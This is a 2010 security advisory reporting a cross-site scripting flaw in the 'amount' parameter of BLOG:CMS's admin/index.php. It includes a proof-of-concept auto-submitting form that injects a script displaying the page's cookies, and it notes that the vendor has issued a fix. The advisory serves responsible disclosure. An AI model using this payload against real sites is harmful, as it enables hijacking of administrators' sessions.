XSS vulnerability in BLOG:CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22725
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogcms_1.html
Product: BLOG:CMS
Vendor: Radek Hulán ( http://blogcms.com/ ) 
Vulnerable Version: 4.2.1.e and probably prior versions
Vendor Notification: 30 November 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in 
"amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft 
of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php"; method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version